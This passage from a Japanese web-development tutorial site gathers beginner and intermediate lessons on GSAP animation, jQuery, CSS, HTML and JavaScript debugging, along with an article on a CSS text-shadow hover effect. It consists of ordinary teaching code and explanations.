GSAPのコアライブラリとScrollTrigger・Draggable等の主要プラグインは無料で商用利用可能です。ただしMorphSVG・DrawSVG・SplitText等の一部プラグインはClub GreenSock（有料メンバーシップ）限定です。多くのWeb制作案件では無料プラグインで十分対応できるため、まずは無料範囲で学習を始めることをおすすめします。 ### [GSAPで作る弾むフェードアップアニメーション｜要素表示の実装](https://codequest.work/gsap-elastic-reveal/) Webサイトをデザインする上で、ゆるやかなアニメーションは、ブランディングを強化し、ユーザーに良い経験を提供する力となります。今回は「ElasticReveal」と呼ばれるアニメーションの作成方法を解説します。 ElasticRevealとは何か。 ElasticRevealは、見出しやキャッチコピーフレーズなどを「スケールアップして表示」することを目的としたアニメーションです。この動きは、サイトを追加したダイナミズムでユーザーの目を引きつける力を持つとされ、作者のアイデアを具体的に見せるのに有効です。特に、GSAP（GreenSock Animation Platform）を使うことで、スムーズで軽量なアニメーションを実現できます。 ElasticRevealのメリット ElasticRevealを実装することで、以下のようなメリットが期待できます。 ビジュアルインパクト: ElasticRevealのスムーズな動きは、ファーストビューを強化し、コンテンツに興味を持たせます。 不視されにくい記事: 小さな動きを加えることで、見出しなどが不視されにくくなります。 ブランドの負担を軽減: 主にGSAPを利用するため、動作が滑らかで、ページパフォーマンスへの負荷が最小限に抑えられます。 ユーザーエンゲージメントの向上: 動的な見せ方で訪問者の注意を引き付け、ページ滞在時間を伸ばす効果が期待できます。 SEO効果の間接的向上: アニメーションを使ってユーザー体験を改善することで、間接的にSEO評価を高める可能性があります。 ElasticRevealのユースケース このアニメーションは、さまざまな場面で使用できます。以下にいくつかの例を提示します。 LPのヒーローセクション: LPの最初の見出しにElasticRevealを使用すると、ユーザーの関心を引きつけることができます。 プロダクト説明の見出し: 会社のサービスとしての何が特別かを示すために有効です。 ブログのキャッチコピーの強調: ブログ記事で主導したい見出しに使うと、読者に深く印象付けられます。 ポートフォリオのプレゼンテーション: デザイナーや開発者が作品を目立たせるための手段として適しています。 企業ウェブサイトのブランド強化: ブランドメッセージを伝える際に視覚的な一貫性を持たせることができます。 See the Pen ElasticReveal by masakazuimai (@masakazuimai) on CodePen. ElasticRevealの実装について ElasticRevealは、GSAPライブラリ を使用して簡単に実装できます。このライブラリは、強力で柔軟なアニメーションツールとして広く使用されています。GSAPを使えば、以下のようなステップで実装可能です。 GSAPのインストール: CDNリンクをHTMLに追加するだけで始められます。 アニメーションの定義: GSAPのfromToメソッドやtimelineを利用して、ElasticRevealの動きを設定します。 再利用性の高いコード作成: モジュール化されたコードを作ることで、他のプロジェクトでも簡単に使い回せます。 実装例 以下のような例を考えてみましょう。 初回読み込みアニメーション: ページロード時に見出しやテキストを段階的に表示。 スクロールトリガー: ページをスクロールした際にアニメーションが発動するよう設定。 参考資料とリソース ElasticRevealを最大限に活用するためには、以下のリソースを参考にすると良いでしょう。 GSAP公式ドキュメント ElasticRevealでWebサイトを変える ElasticRevealを使ってWebサイトにユーザーを驚かせる動きを加えてみませんか？このアニメーションは、訪問者に印象を与え、直感的で魅力的な体験を提供する力があります。ぜひ、自身のプロジェクトに取り入れ、Webデザインの新しい可能性を探求してください！ よくある質問（FAQ） Q. GSAPとは何ですか？ GSAP（GreenSock Animation Platform）は、Web上で高パフォーマンスなアニメーションを実装できるJavaScriptライブラリです。CSS animationよりも複雑なシーケンス制御やイージングが可能で、タイムライン機能で複数のアニメーションを連鎖・同期させることができます。商用利用も可能なライセンス体系で、Web制作の現場で広く使われています。 Q. GSAPのElastic（弾む）イージングはどんな場面で使いますか？ 要素の出現・フェードイン時に弾むような動きを加えたい場合に使います。ease: "elastic.out(1, 0.3)"のように指定し、第1引数で振幅、第2引数で周期を調整します。ボタンのクリックフィードバック、カードの出現アニメーション、モーダルの開閉などに適しており、ユーザーの注目を集めるインタラクションに効果的です。 Q. GSAPのRevealアニメーションを実装する基本手順は？ まずScrollTriggerプラグインを登録し、gsap.from()でアニメーション開始時の状態（y: 50, opacity: 0など）を定義します。scrollTriggerオプションでトリガー要素とstart/endの位置を設定すれば、スクロールに応じて要素が表示されるRevealアニメーションが完成します。staggerプロパティで複数要素の連続表示も簡単に実装できます。 ### [jQueryで学ぶ動的なWeb操作｜初心者向け練習問題と解答例](https://codequest.work/jquery-practice-problems/) jQueryは、HTMLやCSSを操作してWebページを動的にするためのライブラリです。本記事では、jQueryの基本を学べる練習問題を紹介します。JavaScriptを直接書くよりも簡潔にコードを書けるため、初心者でも扱いやすいのが特徴です。 練習問題には解答例も用意していますので、実際に手を動かしながら学んでいきましょう。 1: HTMLの<p>要素のテキストを、クリックした際に別の文章に変更してください。 <div class="text-box"> <p>ここをクリックして変更しよう！</p> <button id="change-text">テキストを変更</button> </div> ポイント click()メソッドを使用します。 テキストの変更にはtext()メソッドを活用します。 2: 以下のボタンをクリックするたびに、背景色がランダムに切り替わるようにしてください。 <div class="color-box"> <button id="change-bg">背景色を変更</button> </div> 色をランダムに生成するにはMath.random()を使います。CSSの背景色変更にはcss()メソッドを使用します。 3: 以下のボタンをクリックするたびに、<div>要素がフェードインまたはフェードアウトするアニメーションを追加してください。 <div class="fade-box"> <div class="fade-item">フェード効果を試してみよう！</div> <button id="fade-toggle">フェード切り替え</button> </div> ポイント フェードイン・アウトにはfadeToggle()メソッドを使用します。 アニメーションのスピードを指定することも可能です。 4: 以下のリストに、新しい項目を追加したり削除したりする機能を実装してください。 <div class="list-box"> <ul id="dynamic-list"> <li>項目1</li> <li>項目2</li> </ul> <button id="add-item">項目を追加</button> <button id="remove-item">項目を削除</button> </div> ポイント 要素の追加にはappend()メソッドを使用します。 削除にはremove()メソッドを使用します。 ▶ 問題１解答例 $('#change-text').click(function() { $('.text-box p').text('テキストが変更されました！'); }); ▶ 問題２解答例 $('#change-bg').click(function() { const randomColor = '#' + Math.floor(Math.random()*16777215).toString(16); $('.color-box').css('background-color', randomColor); }); ▶ 問題３解答例 $('#fade-toggle').click(function() { $('.fade-item').fadeToggle('slow'); }); .fade-box { text-align: center; margin: 20px; } .fade-item { display: inline-block; padding: 20px; background-color: #f0f0f0; color: #333; border: 1px solid #ccc; border-radius: 4px; margin-bottom: 10px; } ▶ 問題４解答例 $('#add-item').click(function() { $('#dynamic-list').append('<li>新しい項目</li>'); }); $('#remove-item').click(function() { $('#dynamic-list li:last-child').remove(); }); jQueryを使うと、少ないコードで動的なWebページを作成できます。今回の練習問題を通じて、jQueryの基本操作や便利なメソッドを理解することができます。まずは基本を押さえて、応用的な動きを作れるようにチャレンジしてみてください。 よくある質問（FAQ） Q. jQueryは今でも学ぶ価値がありますか？ 既存サイトの保守やWordPressカスタマイズではまだ使われています。ただし新規開発ではVanilla JSやReactが主流なので、基礎を押さえる程度で十分です。 Q. jQueryとVanilla JavaScriptの違いは？ jQueryはDOM操作を簡潔に書けるライブラリで、クロスブラウザ対応も自動で行えます。Vanilla JSはライブラリなしの素のJavaScriptで、軽量かつ高速です。 ### [CSS初心者向け練習問題｜プロパティの基礎から簡単なレイアウト作成まで](https://codequest.work/css-practice-problems/) この記事でできるようになること CSSは、Webページのデザインやレイアウトを整えるために欠かせない技術です。本記事では、CSSの基礎を学べる練習問題を用意しました。初心者向けにわかりやすく解説し、実際のWebページでよく使われるプロパティや技術を中心に学んでいきます。 各問題には解答例を用意していますので、自分の答えと比較しながら理解を深めましょう。さらに、CSSの基本的な書き方や、Webページを美しくするテクニックも取り入れていきます。 この記事の5問は、ブラウザだけで書いて試せるアプリ版「CSS基礎練習アプリ」でも解けます。問題ごとにHTMLが用意されていて、書いたCSSはその場でプレビューへ反映されます。記事の5問に加えて、アプリ限定ドリル19問（計24問）まで練習できます。 CSS基礎練習アプリ 1. テキストの色を変える 以下のHTMLコードを元に、CSSでテキストの色を「青」に変更してください。 <div class="text"> CSSで色を変えてみよう！ </div> ポイント colorプロパティは、テキストの色を指定します。 色を指定する際には、色名、16進数コード（例: #0000ff）、またはrgb()形式を使用できます 問題１解答例 .text { color: blue; } 2. 背景色と大きさを指定する ボックスの背景色を「薄いグレー (#f0f0f0)」にし、幅と高さをそれぞれ100pxに設定してください。 <div class="box"> ボックスのスタイルを変更しよう！ </div> ポイント CSSのボックスモデルを理解する練習になります。 背景色を指定すると、要素の見た目が大きく変わります。 問題２解答例 .box { background-color: #f0f0f0; width: 100px; height: 100px; } 3. テキストを縦横中央に置く 以下のHTMLを元に、テキストを縦横中央に配置してください。 <div class="center-box"> 中央揃え </div> ポイント display: flex;を指定すると、子要素を柔軟に配置できます。 align-itemsとjustify-contentを組み合わせて中央揃えを実現します。 問題３解答例 .center-box { display: flex; align-items: center; justify-content: center; width: 200px; height: 200px; border: 1px solid #000; } 4. メディアクエリで切り替える 幅が768px以下の時に、背景色を「薄い青 (#e0f7fa)」に変えるメディアクエリを追加してください。 <div class="responsive"> ウィンドウを縮小して確認しよう！ </div> ポイント メディアクエリは、レスポンシブデザインを実現する基本技術です。 幅や高さに応じたデザイン変更が可能です。 問題４解答例 @media (max-width: 768px) { .responsive { background-color: #e0f7fa; } } 5. 枠線とボックスの間隔 以下のボックスに、枠線を「赤色・2pxの実線」で追加し、各ボックスの間に10pxの余白を設定してください。 <div class="box-list"> <div class="box-item">1</div> <div class="box-item">2</div> <div class="box-item">3</div> </div> ポイント 枠線はborderプロパティを使用します。 ボックス間の余白にはmarginプロパティを活用します。 問題５解答例 .box-list { display: flex; gap: 10px; /* 余白を設定 */ } .box-item { border: 2px solid red; width: 50px; height: 50px; text-align: center; line-height: 50px; } まとめ｜次はブラウザで24問に挑戦する CSSの基礎は、Webデザインの重要なスキルです。この問題集を通じて、プロパティやスタイルの設定方法をしっかり学んでいきましょう！コーディングの練習を続けることで、レスポンシブデザインや複雑なレイアウトにも対応できるようになります。 解き終えたあとの腕試しには、ブラウザで解けるアプリ版（全24問）が便利です。Flexbox・Grid・position・CSS変数など、この記事では扱っていない19問を追加で練習でき、プレビュー幅をPCとSPで切り替えてメディアクエリの効き目も確認できます。 CSS基礎練習アプリ よくある質問（FAQ） Q. CSS練習問題はHTMLの知識がなくても取り組めますか？ 基本的なHTMLタグ（div, p, h1など）の知識があると取り組みやすいです。HTMLの基礎を学んでからCSS練習に進むことをおすすめします。 Q. FlexboxとGrid、どちらを先に学ぶべき？ まずFlexboxから学ぶのがおすすめです。1次元のレイアウト（横並び・縦並び）を理解した上で、2次元レイアウトのGridに進むとスムーズです。 ### [HTML基礎練習問題｜初心者が実践で学べる！レイアウトからリンク設定まで完全解説](https://codequest.work/html-practice-questions/) この記事でできるようになること HTML初心者必見！基本的なタグを使った練習問題を解説付きで紹介。レイアウト作成、リンク設定、フォーム作成などを実践的に学び、基礎を確実に身につけましょう。 HTML練習問題を始める前に HTMLはWeb制作の基盤となる言語です。初めてHTMLを学ぶ方にとって、タグの使い方や構造を理解することはとても重要です。本記事では、初心者向けに基本的なHTMLタグを使った練習問題を用意しました。実際に手を動かしながら学ぶことで、HTMLの基礎をしっかりと身につけることができます。 この記事の6問は、ブラウザだけで書いて試せるアプリ版「HTML基礎練習アプリ」でも解けます。書いたHTMLはその場でプレビューへ反映され、お手本の表示と見比べて答え合わせできます。記事の6問に加えて、アプリ限定ドリル14問（計20問）まで練習できます。 HTML基礎練習アプリ この記事で解く6つの練習問題 見出しと段落の基本練習 リンクと画像の挿入練習 リスト作成の練習 テーブルレイアウトの基礎 フォーム作成の基本 セマンティックタグを使ったレイアウト 練習問題で使うHTMLタグ一覧 各練習問題には、使用するHTMLタグとその意味を解説します。タグを正しく理解することで、コーディングの質を向上させることができます。 <h1>〜<h6>: 見出しを表す <p>: 段落を表す <a>: リンクを作成する <img>: 画像を表示する <ul>と<ol>: リストを作成する <table>: 表を作成する <form>: 入力フォームを作成する 1. 見出しと段落の基本練習 まずは、見出しタグと段落タグの使い方を練習します。問題１:以下の内容をHTMLで再現してください。 ページタイトルを<h1>タグで表示 サブタイトルを<h2>タグで表示 段落を<p>タグで作成し、自己紹介文を書いてみましょう。 問題１解答例 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>自己紹介</title> </head> <body> <h1>私のウェブページ</h1> <h2>自己紹介</h2> <p>こんにちは！私はWeb制作を学んでいる初心者です。このページではHTMLの基本を練習しています。</p> </body> </html> 2. リンクと画像の挿入練習 次に、リンクや画像の挿入を練習します。問題２: 外部リンクを作成し、好きなWebサイトへのリンクを設定 ローカルまたは外部の画像を<img>タグで挿入し、alt属性を記述 画像にリンクを付与してクリック時に別ページに遷移するように設定 問題２解答例 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>リンクと画像</title> </head> <body> <h1>リンクと画像の練習</h1> <p><a href="https://example.com" target="_blank">こちらをクリックしてExample.comを訪問</a></p> <p><a href="https://example.com"> <img src="https://images.unsplash.com/photo-1498050108023-c5249f4df085?w=300&q=80" alt="ノートPCに表示されたソースコード" width="300" height="200"> </a></p> </body> </html> 3. リスト作成の練習 リストはHTMLでよく使う構造です。順序付きリストと順序なしリストを作成します。問題３: 自分の好きな趣味を順序なしリスト<ul>で記述 旅行先の候補を順序付きリスト<ol>で記述 問題３解答例 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>リスト練習</title> </head> <body> <h1>リストの作成</h1> <h2>私の趣味</h2> <ul> <li>読書</li> <li>プログラミング</li> <li>旅行</li> </ul> <h2>旅行先候補</h2> <ol> <li>京都</li> <li>北海道</li> <li>沖縄</li> </ol> </body> </html> 4. テーブルレイアウトの基礎 表を作成して情報を整理する練習をします。問題４: 自分のスケジュール表を<table>タグで作成 表に見出しを追加し、<th>と<td>を正しく使う 表を装飾するためにborder属性を指定 問題４解答例 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>スケジュール表</title> </head> <body> <h1>スケジュール表</h1> <table border="1"> <tr> <th>日付</th> <th>予定</th> </tr> <tr> <td>2024/12/10</td> <td>勉強会</td> </tr> <tr> <td>2024/12/11</td> <td>ミーティング</td> </tr> </table> </body> </html> 5. フォーム作成の基本 フォームを使って入力を受け取る方法を学びます。問題５: ユーザー名、メールアドレス、パスワードの入力フィールドを作成 ボタンを追加し、フォームを送信できる形にする 問題５解答例 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>フォームの練習</title> </head> <body> <h1>お問い合わせフォーム</h1> <form action="/submit" method="post"> <label for="name">名前:</label> <input type="text" id="name" name="name"><br><br> <label for="email">メールアドレス:</label> <input type="email" id="email" name="email"><br><br> <label for="password">パスワード:</label> <input type="password" id="password" name="password"><br><br> <button type="submit">送信</button> </form> </body> </html> 6. セマンティックタグを使ったレイアウト セマンティックタグを使うことで、HTML構造をわかりやすくします。問題６: <header>, <main>, <footer>を使用してページを作成 各セクションに適切な見出しやテキストを配置 問題６解答例 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>セマンティックタグ練習</title> </head> <body> <header> <h1>私のウェブサイト</h1> </header> <main> <section> <h2>最新記事</h2> <p>この記事ではHTMLの練習方法を紹介します。</p> </section> </main> <footer> <p>Copyright © 2024 私のウェブサイト</p> </footer> </body> </html> まとめ｜次はブラウザで20問に挑戦する 解き終えたあとの腕試しには、ブラウザで解けるアプリ版（全20問）が便利です。属性の使い分けやフォーム部品など、この記事では扱っていない14問を追加で練習でき、「あとで復習」に登録した問題だけを解き直すこともできます。 HTML基礎練習アプリ よくある質問（FAQ） Q. HTML練習問題に必要な環境は？ テキストエディタ（VS Codeなど）とWebブラウザがあれば始められます。特別なソフトのインストールは不要です。 Q. HTMLの練習は何から始めるべき？ まず見出し（h1〜h6）と段落（p）タグの基本から始めましょう。次にリスト・リンク・画像と段階的に進めると効率的に学べます。 ### [JavaScript練習問題集【中級・バグ修正編】](https://codequest.work/javascript-practice-problems/) JavaScriptの中級者がつまずく原因の多くは、文法を知らないことではなく「なぜ意図どおり動かないのか」を切り分けられないことです。バグ修正（デバッグ）とは、意図どおりに動かないコードの原因を特定して正しく直す作業のことで、実務のプログラミングで最も時間を使う工程です。 本記事は、基礎文法を終えた中級者向けに、実務で頻出する典型的なバグを自分で見つけて直す練習問題集です。var/letのスコープ、配列の破壊的変更、awaitし忘れ、==の型変換など、全12問を「壊れたコード → ヒント → 解答と解説」の形式で収録しました。基礎文法がまだの方は JavaScript練習問題23選（基礎文法編） から始めてください。 JavaScript練習問題シリーズ テーマ別の練習問題はこちら。配列メソッドや非同期処理そのものを集中的に解きたい場合は、各専門記事へ進んでください。 基礎文法 23問（変数・関数・配列・条件分岐） DOM操作 10問（要素取得・イベント・動的生成） 配列メソッド 10問（map / filter / reduce など） 非同期処理 10問（Promise / async / await / fetch） Node.js練習問題集【基礎API編】（fs・path・イベントループ・ブラウザ演習アプリ付き） バグ修正・デバッグ 12問（この記事） 基礎文法・配列・非同期・DOM操作・Node.jsの5テーマは、ブラウザ上でコードを書いてその場で実行できるクイズ版アプリでも解けます。解き終えたあとの腕試しと復習にはアプリ側が向いています。 JS基礎クイズ 30問 — 基礎文法をブラウザのエディタで解く 配列メソッドクイズ 20問 — map・filter・reduceの実践ドリル 非同期処理クイズ 20問 — 実際のAPIと通信して動きを確認できる DOM操作クイズ 20問 — プレビューを実際に操作して動作確認できる Node.js基礎クイズ 20問 — ブラウザ内の仮想Node環境で実行できる この問題集の使い方と対象レベル 対象レベルは、基礎文法（変数・関数・配列・条件分岐）を理解済みの中級者です。各問は実際のコードに潜むバグを題材にしています。次の手順で取り組むと、デバッグ力が効率よく身につきます。 まず解答を見ずに、壊れたコードの「どこが・なぜ」おかしいかを予想する ヒントを開いて、考える方向が合っているか確認する 解答例と解説で「なぜそうなるのか」と「次の一手」まで理解する コードはブラウザの開発者ツール（DevTools）のコンソールに貼り付けて、実際に動かしながら確認すると理解が深まります。 【基本編】中級者がやりがちなバグ 5問 問1. ループ内の setTimeout が同じ値を出力する このコードは1秒以内に 1, 2, 3 を出力する想定ですが、実際には 4, 4, 4 と表示されます。原因を見つけて直してください。 for (var i = 1; i <= 3; i++) { setTimeout(() => console.log(i), 100); } // 期待: 1, 2, 3 ／ 実際: 4, 4, 4 ヒント var はどのスコープを持つでしょうか。setTimeout のコールバックが実行されるのは、ループが終わった後です。 解答例と解説 for (let i = 1; i <= 3; i++) { setTimeout(() => console.log(i), 100); } // 出力: 1, 2, 3 なぜ：var は関数スコープのため、ループ全体で同じ i を共有します。setTimeout のコールバックが実行される頃には i はループ終了後の値（4）になっています。let はブロックスコープで、反復ごとに新しい束縛を作るため期待どおり動きます。次の一手：let を使わずに、即時関数（IIFE）で各回の i を引数として閉じ込める書き方でも解決できます。両方書いて挙動を比べてみましょう。 問2. 元の配列が知らないうちに書き換わる 並び替えた結果を sorted に入れたつもりが、元の scores まで並び替わってしまいます。原因を見つけて直してください。 const scores = [80, 50, 90, 70]; const sorted = scores.sort((a, b) => b - a); console.log(scores); // 期待: [80, 50, 90, 70] のまま ヒント sort() は新しい配列を返すのでしょうか、それとも元の配列を変更するのでしょうか。 解答例と解説 const scores = [80, 50, 90, 70]; const sorted = [...scores].sort((a, b) => b - a); console.log(scores); // [80, 50, 90, 70] console.log(sorted); // [90, 80, 70, 50] なぜ：sort() は元の配列を破壊的に並び替え、その配列自身を返します。元データを保持したいときは、スプレッド構文 [...scores] でコピーしてから sort します。reverse() も同じく破壊的です。次の一手：非破壊版の toSorted()（ES2023）に書き換え、対応環境を確認してみましょう。配列操作をさらに練習したい人は 配列メソッド10問 へ。 問3. == による型変換で意図しない一致が起きる APIから文字列で返ってきた status が、数値の 1 と一致してしまいます。文字列ではなく「数値の1」のときだけ通したい場合、どう直せばよいでしょうか。 const status = '1'; // APIから文字列で返ってきた if (status == 1) { console.log('有効'); // 文字列の '1' でも通ってしまう } ヒント == は比較の前に何をするでしょうか。型まで含めて比較したいときに使う演算子は？ 解答例と解説 const status = '1'; if (Number(status) === 1) { console.log('有効'); } なぜ：== は型変換してから比較するため '1' == 1 は true になります。意図しない一致はバグの温床です。=== は型も含めて厳密に比較します。文字列の数値を比べるときは Number() で明示的に変換してから === しましょう。次の一手：status が "01" や " 1 " のとき Number() がどう振る舞うか確認し、入力バリデーションを足してみましょう。 問4. オブジェクトをコピーしたのに元が変わる スプレッド構文でコピーした copy の設定を変えただけなのに、元の original まで変わってしまいます。原因を見つけて直してください。 const original = { name: '太郎', settings: { theme: 'dark' } }; const copy = { ...original }; copy.settings.theme = 'light'; console.log(original.settings.theme); // 期待: 'dark' ヒント スプレッド構文は何階層までコピーするでしょうか。ネストしたオブジェクトはどう扱われますか。 解答例と解説 const original = { name: '太郎', settings: { theme: 'dark' } }; const copy = { ...original, settings: { ...original.settings } }; copy.settings.theme = 'light'; console.log(original.settings.theme); // 'dark' なぜ：スプレッド構文は1階層だけの浅いコピーです。ネストしたオブジェクトは参照が共有されるため、コピー先の変更が元へ波及します。ネストごとに展開するか、structuredClone() で深いコピーを作ります。次の一手：structuredClone(original) に書き換え、関数やDOMを含むオブジェクトでは使えない制約も調べてみましょう。 問5. 0.1 + 0.2 が 0.3 にならない 合計が 0.3 になるはずなのに「不正解」と表示されます。原因を見つけて、正しく判定できるよう直してください。 const total = 0.1 + 0.2; if (total === 0.3) { console.log('正解'); } else { console.log('不正解: ' + total); // 0.30000000000000004 } ヒント 小数を2進数で表すと何が起きるでしょうか。小数同士を === で比べるのは安全でしょうか。 解答例と解説 const total = 0.1 + 0.2; if (Math.abs(total - 0.3) < Number.EPSILON) { console.log('正解'); } なぜ：2進数の浮動小数点では 0.1 や 0.2 を正確に表せず、計算に微小な誤差が出ます。小数の比較は Math.abs で誤差範囲（イプシロン）を許容するか、整数（最小単位）に直して計算します。次の一手：金額計算を「円 → 銭」のように整数化して扱う方式に書き換え、誤差が出ないことを確認してみましょう。 【応用編】非同期・スコープのバグ 5問 問6. await を忘れて Promise を操作してしまう ユーザー情報を取得して返す関数ですが、res.json is not a function のエラーや undefined が返ります。原因を見つけて直してください。 async function getUser() { const res = fetch('/api/user'); const data = res.json(); return data; } ヒント fetch() と res.json() はそれぞれ何を返すでしょうか。 解答例と解説 async function getUser() { const res = await fetch('/api/user'); const data = await res.json(); return data; } なぜ：fetch() も res.json() も Promise を返します。await を付けないと、解決前の Promise を操作してしまい、エラーや undefined になります。await は async 関数の中でのみ使えます。次の一手：response.ok を見て失敗時に throw し、try/catch で受ける処理を足しましょう。非同期をもっと練習したい人は 非同期処理10問 へ。 問7. forEach の中の await が待たれない すべての保存が終わってから「完了」を出したいのに、保存より先に「完了」が表示されます。原因を見つけて直してください。 async function saveAll(items) { items.forEach(async (item) => { await save(item); }); console.log('完了'); // save より先に出る } ヒント forEach はコールバックが返した Promise を待ってくれるでしょうか。 ### [ホバーで立体影を付けるアニメーション｜CSS＋JSで実装](https://codequest.work/hovershadow/) ホバーで立体影を付けるとは、:hover のときに text-shadow または box-shadow の値を変化させ、要素が紙から浮き上がったように見える状態を作ることです。文字そのものを浮かせたい場合は text-shadow、ボタンやカードのような矩形を浮かせたい場合は box-shadow を使います。 この記事では、テキストリンクを対象にした「文字が浮き上がる立体影」を、コピーしてそのまま動く最小構成で解説します。結論から書くと、この演出に JavaScriptは要りません。CSSのプロパティ2つ（transition と text-shadow）だけで完結します。 後半では、擬似要素とJavaScriptを使う書き方が実際のページで壊れる3つの条件を、Chromiumでの実測値つきで比較します。さらに「書いた影が本当に意図どおりに描かれているか」をDevToolsのComputed値で判定する手順まで扱います。 ホバーで立体影を付ける2つの手段 CSSで影を落とすプロパティは2つあり、影が付く対象が違います。テキストリンクに対して box-shadow を使うと、文字ではなくリンクの矩形（インラインボックス）に影が付いてしまうため、狙った見た目になりません。 プロパティ影が付く対象向いている場面text-shadow文字のグリフの形テキストリンク・見出し・ロゴ文字box-shadow要素のボーダーボックス（矩形）ボタン・カード・画像 この記事で扱うのは前者、text-shadow による文字の立体影です。ボタンやカードを浮かせる box-shadow 系や、傾き・グロー・スライドなど他系統のホバー演出をまとめて見比べたい場合は、ホバーエフェクト100種のギャラリーにコード付きで並べています。この記事は「立体影ひとつを掘り下げる」側の担当です。 最小構成のコード（HTML＋CSSのみ） まずHTMLです。リンクにクラスを1つ付けるだけで、追加のマークアップは要りません。 <a href="#" class="hover-effect">hover1</a> <a href="#" class="hover-effect">hover2</a> <a href="#" class="hover-effect">hover3</a> CSSはこれで全部です。transition に「:hover で変えるプロパティを全部書く」のが唯一の注意点になります。 .hover-effect { font-size: 24px; text-decoration: none; color: #333; /* :hover で変える2つを両方ここに列挙する */ transition: color .3s ease, text-shadow .3s ease; } .hover-effect:hover { color: #f00; /* X方向 -2px / Y方向 -0.3em / ぼかし 0 / 色 #999 */ text-shadow: -2px -.3em 0 #999; } text-shadow は「X方向のずれ・Y方向のずれ・ぼかし半径・色」の順に値を取ります。ぼかし半径は省略でき、省略すると 0 と同じ扱いです。 値役割動かすとどうなるか-2pxX方向のずれ正の値で右、負の値で左に影が出る-.3emY方向のずれ負の値で上に浮き、正の値で下に沈む0ぼかし半径0で輪郭がくっきり、大きくすると柔らかい影になる#999影の色文字色より薄い色にすると自然に見える Y方向に px ではなく em を使っているのには理由があります。em は要素の font-size を基準に計算されるため、文字サイズが変わっても影の比率が崩れません。font-size: 24px の要素に -0.3em を指定した場合、実際に描画に使われる値は -7.2px です。見出しと本文で同じクラスを使い回すときに効いてきます。em や rem の使い分けはCSSプロパティの基礎にまとめています。 JavaScriptを使う書き方と、それが不要な理由 この演出は、擬似要素にテキストの複製を作って背後に敷き、そちらに影を付けるという書き方でも実現できます。複製するテキストはHTMLに直接書けないため、JavaScriptでCSSカスタムプロパティに流し込みます。下は元になったCodePenのデモと、そのコードです。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. /* 擬似要素＋JS版（比較用。この記事では推奨しない） */ .old-effect { position: relative; font-size: 24px; text-decoration: none; color: #333; transition: color .3s ease; } .old-effect::before { content: var(--text); /* JSで入れた文字列を複製する */ position: absolute; left: 0; top: 0; z-index: -1; /* 本体の裏に敷く */ color: transparent; transition: text-shadow .3s ease; } .old-effect:hover { color: #f00; } .old-effect:hover::before { text-shadow: -2px -.3em 0 #999; } document.querySelectorAll('.old-effect').forEach(function (el) { el.style.setProperty('--text', '"' + el.textContent + '"'); }); この書き方が壊れる3つの条件 上のコードをHTMLに貼り、Chromiumで実際にホバーして計測した結果が次の表です。CodePenの中では動いて見えても、実サイトに移した途端に影が出なくなる条件が3つあります。 条件実測結果原因リンク文字に " を含む（例: say "hi"）影が出ない。擬似要素の content が none になる--text の値が "say "hi"" となり、CSSの文字列として成立しないHTMLを改行・インデントして書いた影が出ない。--text が空のまま content が none になるtextContent に前後の改行と空白が入り、そのままでは文字列値にならない祖先要素に background-color がある影が背景に隠れて見えなくなるz-index: -1 の擬似要素が、祖先の背景より先に描かれる 3つ目が特に厄介です。.old-effect には position: relative が付いていますが、z-index は auto のままなので、この要素は重ね合わせコンテキストを作りません。その結果、負の z-index を持つ擬似要素は祖先側の背景より下に潜り込みます。カード・記事本文・セクションなど、背景色が指定された箱の中に置いた瞬間に影が消える、という形で表面化します。 加えて、擬似要素の content はアクセシブル名の計算に含まれます。実測では、この書き方のリンクのアクセシブル名が hover1 hover1 と二重になりました。スクリーンリーダーはリンク名を2回読み上げることになります。 要素自身に影を付ければ複製は要らない そもそも text-shadow は、その要素自身の文字の下に影を描くプロパティです（MDN: text-shadow）。つまり、透明な複製テキストを背後に敷く工程そのものが不要でした。冒頭のCSSのみ版と擬似要素版を同条件で計測すると、ホバー時の text-shadow は両方とも rgb(153, 153, 153) -2px -7.2px 0px で一致します。見た目は同じで、壊れる条件だけが消えます。 比較軸CSSのみ版擬似要素＋JS版ホバー時の text-shadowrgb(153, 153, 153) -2px -7.2px 0px同左（描画されれば同じ値）引用符を含む文字影が出る影が出ない改行インデントしたHTML影が出る影が出ない祖先に background:#fff影が出る影が出ないアクセシブル名hover1hover1 hover1必要なJavaScriptなしあり（無効時は影も消える） 擬似要素そのものが悪いわけではなく、「文字の複製を裏に敷く」という手段が text-shadow に対しては過剰だった、というだけです。下線のスライドや枠線の伸長のように、文字とは別の図形を動かしたい場合は擬似要素が正解になります。擬似要素の指定方法はCSSセレクタ完全ガイドで確認できます。 実装した立体影が意図どおりか検証する 影は「マウスを乗せている間だけ」表示されるため、目視だけでは合否を判定しにくい部類の演出です。ブラウザのDevToolsには :hover を強制的にONにしたままComputed値を読む機能があるので、それを使って3点を確認します。 検証1: 影がホバー時だけ描かれているか Elementsパネルで対象のリンクを選択し、Stylesパネル右上の「:hov」から :hover にチェックを入れます。この状態でComputedタブを開き、text-shadow の値を読みます。チェックのON/OFFを切り替えて、次の2行が両方とも成立していれば合格です。 観測箇所合格不合格Computed text-shadow（:hov OFF）none値が入っている＝常時表示になっているComputed text-shadow（:hov ON）rgb(153, 153, 153) -2px -7.2px 0px のように色・X・Y・ぼかしの4値が入るnone のまま＝セレクタが当たっていない Y方向が -7.2px と表示されるのは、CSSに書いた -0.3em が font-size: 24px を基準に計算された結果です。Computedタブは常に計算後の絶対値を返すので、ここが -7.2px になっていれば em の基準が意図どおり効いていると分かります。見出し用に font-size: 40px を当てた要素で同じクラスを使えば、同じ指定のまま -12px に伸びます。文字サイズごとに影の値を書き分けなくてよい、という実務上の利点はここで確認できます。 検証2: 動かすプロパティがtransitionに含まれているか 同じくComputedタブで transition-property を開き、:hover 